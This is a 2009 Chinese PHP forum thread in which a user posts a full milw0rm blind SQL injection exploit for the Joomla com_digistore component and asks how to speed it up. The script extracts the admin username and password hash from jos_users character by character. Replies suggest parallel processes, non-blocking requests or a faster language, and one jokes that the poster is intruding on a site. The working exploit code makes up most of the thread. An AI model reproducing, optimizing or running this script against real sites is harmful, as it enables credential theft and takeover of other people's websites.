看看这个算法为什么这么慢。。。

notask 2009-09-07 11:11:32
http://www.milw0rm.com/exploits/8134
这是一个joomla的漏洞利用程序,主要运用了一些盲注的技术。
就是通过get方式

但是我发现这个程序,echo出来的结果非常慢,半天才出来一个字母或者数字,按理说应该0-9,a-z也没多少数字,应该很快才对啊。。

把代码贴出来,哪位老大看一下,怎么优化下才能提高效率~ 谢谢~

<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
# Joomla com_digistore (pid) Blind SQL Injection Exploit
#
# === Cyb3R-1sT ===
# cyb3r-1st [at] hormail.com
# inject0r5 t3am
#
# : Usage :
#php file.php "http://site/index.php?option=com_digistore&task=show_product&pid=1"
#
# : Sp.GrEetZ :
# [ All friends ] & [ www.7rs.org ] & [ www.tryag.com]
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$count = $i;
$i = 30;
}
}
for ($j = 1; $j < $count; $j++) {
for ($i = 46; $i <= 122; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 122;
}
}
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
for ($i = 46; $i <= 102; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}
}
?>

# milw0rm.com [2009-03-02]


主要就是这一段:

echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
for ($i = 46; $i <= 102; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}


谢谢~
...全文
190 16 打赏 收藏 转发到动态 举报
写回复
用AI写文章
16 条回复
切换为时间正序
请发表友善的回复…
发表回复
cayleung 2009-09-08
  • 打赏
  • 举报
回复
开多几个进程不就快咯~~
ybbqy 2009-09-08
  • 打赏
  • 举报
回复
换非阻塞
相关文章:php多路复用(多线程)[翻译]
http://blog.iyi.cn/start/2006/11/php_8.html

或者换语言,perl或python,启用真正的多线程
notask 2009-09-07
  • 打赏
  • 举报
回复
哦 能帮忙修改一下 效率高点吗?谢谢!
xuzuning 2009-09-07
  • 打赏
  • 举报
回复
你上百次的执行 file_get_contents($url... 能不慢吗?
notask 2009-09-07
  • 打赏
  • 举报
回复
有没有人啊???
notask 2009-09-07
  • 打赏
  • 举报
回复
[Quote=引用 12 楼 foolbirdflyfirst 的回复:]
程序发送上百次http请求,还要处理返回内容,快不了的吧?
[/Quote]

只要达到目的即可 ,这个上百次HTTP请求只是一个办法。。而已啊。,。
foolbirdflyfirst 2009-09-07
  • 打赏
  • 举报
回复
程序发送上百次http请求,还要处理返回内容,快不了的吧?
飞哥 2009-09-07
  • 打赏
  • 举报
回复
继续顶 有人回答吗~
notask 2009-09-07
  • 打赏
  • 举报
回复
?????????????
YHL27 2009-09-07
  • 打赏
  • 举报
回复
sf!!
notask 2009-09-07
  • 打赏
  • 举报
回复
能不能说点有用的啊?唉。,这个只是根据这个测试一下罢了。
yctin 2009-09-07
  • 打赏
  • 举报
回复
[Quote=引用 5 楼 notask 的回复:]
引用 4 楼 wxq4100798 的回复:
引用 1 楼 xuzuning 的回复:
你上百次的执行 file_get_contents($url... 能不慢吗?

正解


我知道,那该如何写 才能效率高呢?
[/Quote]

你电邮给目标网主,说他的网站太慢对你入侵做成不便,要告他丫 =.=
wxq4100798 2009-09-07
  • 打赏
  • 举报
回复
[Quote=引用 5 楼 notask 的回复:]
引用 4 楼 wxq4100798 的回复:
引用 1 楼 xuzuning 的回复:
你上百次的执行 file_get_contents($url... 能不慢吗?

正解


我知道,那该如何写 才能效率高呢?
[/Quote]
看你的代码,好像是扫描URL地址,注入
如果是的话,应该是无解了
当然换成C/C++ 速度会快不少
这个还和网络有关
notask 2009-09-07
  • 打赏
  • 举报
回复
[Quote=引用 4 楼 wxq4100798 的回复:]
引用 1 楼 xuzuning 的回复:
你上百次的执行 file_get_contents($url... 能不慢吗?

正解
[/Quote]

我知道,那该如何写 才能效率高呢?
wxq4100798 2009-09-07
  • 打赏
  • 举报
回复
[Quote=引用 1 楼 xuzuning 的回复:]
你上百次的执行 file_get_contents($url... 能不慢吗?
[/Quote]
正解
notask 2009-09-07
  • 打赏
  • 举报
回复
继续顶 求助!!

21,886

社区成员

发帖
与我相关
我的任务
社区描述
从PHP安装配置,PHP入门,PHP基础到PHP应用
社区管理员
  • 基础编程社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧